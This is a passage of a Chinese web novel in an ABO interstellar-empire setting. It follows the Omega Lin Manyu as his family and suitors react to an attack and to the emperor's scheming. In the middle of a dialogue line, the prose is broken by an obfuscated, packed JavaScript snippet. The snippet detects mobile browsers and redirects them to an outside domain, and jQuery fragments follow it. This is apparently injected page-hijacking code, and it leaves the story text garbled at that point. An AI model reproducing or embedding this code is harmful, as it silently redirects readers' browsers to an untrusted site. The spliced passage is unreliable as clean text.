周在溪胸膛发出的闷笑震得林满玉的后背有些麻,他的眉毛拧起来,恼羞成怒。
他认为自己是在很正经地说出未来会发生的可能性,结果却遭到了周在溪无情的嘲笑,这让他面子往哪里搁?
他抓住周在溪的手,挣扎着想要溜出来。除了弄出哗啦啦的水声来,根本就于事无补。
他竟然还没有周在溪的力气大!
当周在溪嘴角的笑意消失时,林满玉才发觉周身寒意上涌。
“满玉,你可以信任我。我绝对不会用你的安危来做赌注的,不管收益会有多大,我也绝对不会在投入分毫。”周在溪这句话说得很坚决。
他面色绷直,全然没有了在商界时的虚与委蛇。
林满玉怔愣,瞳孔失神了一瞬:“在溪哥……”
周在溪松开了掐着他脸颊的手,叹了口气:“没关系,你今天肯定也吓坏了吧,所以像现在这样宛若惊弓之鸟,对什么人都充满怀疑也很正常。”
“只是稍微有一点伤心啊,我以为我们毕竟是家人……”
林满玉眼睫轻轻往下垂,冤枉人的愧疚占据上风:“对不起,在溪哥。”
他变相承认自己确实误会对方。
周在溪远离林满玉,仰头靠在浴缸边缘,发尾也随之浸透在水里。
他盯着天花板扩散的强烈光晕,眼神涣散:“虽然平时我就是利益至上的一个人,但是在碰上跟满玉有关的事后,我就会犹豫、迟疑,根本就顾不上什么好处。”
也正是因为这一点,他无意间成为林满玉奥兰特之花称号的推手。
林满玉迟疑了一下,开口:“在溪哥,其实今天……”
他把皇帝做的一切都交代出来,这也是他怀疑周在溪的根源。
周在溪一开始还面无表情,听到后来皇帝隐晦的羞辱,手指就捏紧浴缸,青筋鼓起,力道大得像是要握碎它一样。
他咬紧牙关,眼神晦暗得厉害。
林满玉提高了声音:“在溪哥,我说这些并不是要说明明自己的难堪。我只是、只是觉得没有必要……对资源的掠取和争抢让太多人受到伤害了,我心里闷闷的,很难受。”
他用闪着希冀亮光的眼睛看向周在溪:“你明白的吧,在溪哥?”
周在溪触及他的目光,表情骤然一松,他露出无奈的神色:“我明白了。”
林满玉立刻弯下眼眸,开心地游过去,脑袋靠在周在溪的肩颈,很放松地说:“在溪哥,你对我真好。”
他们对他向来有求必应,说到做到,他也没什么不满足的。
林满玉看不见自己的头顶,也就注意不到周在溪一改刚才和善温柔的神色,目光变得阴戾、冷寒。
奥兰特帝国现在的皇帝还真是不择手段,连Omega都是被用来利用的棋子。
林满玉的善良和天真是有眼睛的人都能看得出来的,他被家人养得不谙世事。而伤兵来源的信息自然是皇帝刻意放出去让他看到的,又让他在疗养院里见到了真实的士兵伤后状态。
如果不想让他继续难过下去,周在溪就不得不收手,至少,这件事明面上绝对不能再出现有关他的任何身影。
皇帝他……还真是个,天生的政治家。
*
林满玉要休息了,但是房间里多了位不速之客。
“哥哥?”他没想到自从成年后,很久都不踏足自己房间的兄长竟然有朝一日会来到他的卧室。
林边胥手里还握着一杯牛奶,先是随意地放置在床头,才对他说:“你今天受惊了,晚上可能会睡不着觉,所以我给你倒了一杯牛奶助眠。”
林满玉坐在床上,望着那杯牛奶,有些失神。
兄长是个沉默寡言的人,他不擅长说辞,也就说不出什么动听的话,但也确实是在力所能及的范围内给林满玉撑起大伞,庇护照顾他。
林满玉好像不记得是什么时候了,总之有段时间里,他总是心悸、做噩梦,难以入眠,情绪一落千丈。
白天打瞌睡,一头栽倒在餐盘中。他感觉自己要被责怪了,心中近乎绝望地想,可能每个负责任的兄长身边都会有个令人操心的弟弟吧,这也是没有办法的事。
不过林边胥并没有指责他一句,反而把他抱进了房间,又吩咐管家去告知学校他今天不上课。
没有一句重话。
之后林边胥每晚都会来给林满玉送上一杯热牛奶,等林满玉喝完之后就坐在旁边,手中处理公务,等他睡着,之后又不知道什么时候离开。
守着他睡觉这种事持续了很长一段时间,直到林满玉恢复如常,他才停止这种行为。
林边胥确实担起了长兄如父的责任。
林满玉以为自己忘记了,但是他的记忆还很清晰地勾勒出当时的场景。
他说:“谢谢哥哥,我已经没事了。”
但是他没有谢绝林边胥的好意,主动伸手端起那杯牛奶,略略蹙眉将它一饮而尽。
随意地漱了下口之后,他感受到沉沉的睡意一波接一波涌来。
可能是兄长在身边格外令人安心,又也许是牛奶里放了助眠的药物。林满玉不能确定,但是他那一觉睡得很好。
……
昨天帝星发生虫族袭击的事件之后,帝国也掀起了轩然大波。
不但社交媒体上在疯传,上层也极其动荡,许多人下台、许多人上位,有的人地位一落千丈,没等被关进恶名昭彰的监狱就自尽而亡,有的人却成了政界宠儿,一跃成为光鲜亮丽的新贵。
帝国变得风声鹤唳,无数人夹着尾巴做人,再也不敢小看王座上的那位。
藏在背地里的人们嗤笑:“这件事倒是给了他一个很好的契机呢,更好地……掌控了这个国家。那些蠢货。”
“那能怎么办呢?他们那个脑子本来就是早死的命。只是可惜了,好用的挡箭牌本来就不好找。”
“他们自己自作主张干出勾结虫族袭击帝国的事,死了也是活该。”
“你怎么看呢?”
所有人齐刷刷看向主位阴影上的那人。
“周在溪。”
……
那些动荡不安的事都和在家中的柔弱Omega没有丝毫关系。
林满玉打着呵欠和仇谦谦闲聊,手中也不忘用水壶给各色的鲜花浇水。
仇谦谦:“满玉满玉!快收手!你的花儿快被你给淹死了。”
林满玉一改刚才的悠闲自在,变得惊慌失措起来,手忙脚乱地把水壶立正,才让面前这盆君子兰幸免于难。
他瘫坐在椅子上,长舒一口气:“好险。”
仇谦谦托腮:“你晚上又干什么去了,困成这个样
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621945|172291||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子?”
林满玉:“打游戏。”
仇谦谦:“啊?”
林满玉无辜脸:“很奇怪吗?”
仇谦谦:“是啊,大家都觉得你平时的娱乐方式应该是看书、听音乐会、茶道、插花……像是玩游戏这种娱乐,你这样的小O应该会觉得上不得台面,所以绝不触碰的。”
林满玉反对这种说法:“你不要刻板印象。”
他仰着脑袋望向蓝天,露出了个懒洋洋的笑容,黑色的柔软头发从脸颊滑落。
不管从哪个角度来看,都是一张完美无瑕的脸蛋,什么缺陷都没有。就算仇谦谦和林满玉是同性别,他也生不出任何嫉妒,心脏只会因为林满玉而扑通扑通地跳着。
林满玉的玻璃花房突然有个客人来造访。
他看向仇谦谦。
后者还在为刚才林满玉惊心动魄的美貌而失神,捂着心脏面红耳赤,这时候也识趣地告退,一个人抱着刚才的余韵而回味去了。
*
林满玉起身跟况偃涯见礼,姿态端庄优雅。
况偃涯主动伸手,林满玉惊讶了一下,又自然地把手递过去。
Alpha虔诚地在他的手背上印下一个轻飘飘的吻。
“这次又是替家里人来看望我吗?不过我已经没事了,不用在意。”
招待客人不能在花房这样随意的地方,他们去了旁边的石亭。佣人们井然有序地上茶水点心,又悄无声息地离开。
林满玉坐在石桌旁,手指无意识地搅动着咖啡杯里面的银匙,拉花也随之变得七零八落。
这在上流社会,特别是Omega当中是极为失礼的行为。但是在场两个人都没有注意到他这本不该出现的小错误。或许知道,但是都不在意。
细散的金色碎发垂落在况偃涯硬挺的眉骨,他的脸上有几分没能休息好的倦怠:“不是。”
林满玉露出茫然的表情。
况偃涯实话实说:“这次是我自己想来看看你,是出于我个人的意愿。”
他着重强调后面后面的话。
林满玉的手顿住,他把脸凑了过去。
况偃涯被他吓了一跳,有一瞬往后仰的倾向,但又克制住。手心已经微微出汗了,但他还是保持了镇定自若。
林满玉左右转头,把粉白的脸蛋露出来,又张开嘴巴,露出干净洁白的牙齿:“看到了吗?”
那样好看的脸就突然给了他一个美颜暴击,就算是况偃涯也会心脏狂跳,眼珠子像是被定住一样黏在他身上。
他一直不吭声,林满玉就皱眉:“怎么不说话?”
况偃涯不再继续当哑巴,他哑着声音说:“看见了。脸颊红润,眼睛明亮,牙口也好,很健康。”
林满玉一定也不介意他粗俗的评价,微笑着点头:“是呢,这次袭击可没对我造成什么伤害,包括心理上。”
不管是他说的话,还是他的那张脸,都完美得无可挑剔。
况偃涯根本没办法像上次那样说出毒舌冷酷的言论,他单手插|进发间往后梳,金发就如明亮长河般根根流动。
他幽绿的眸子正视林满玉:“其实,我这次来不单单只是过问你的状态,还有一件很重要的事想说。”
林满玉耐心聆听。
“你还要去边界星和我哥哥结婚吗?”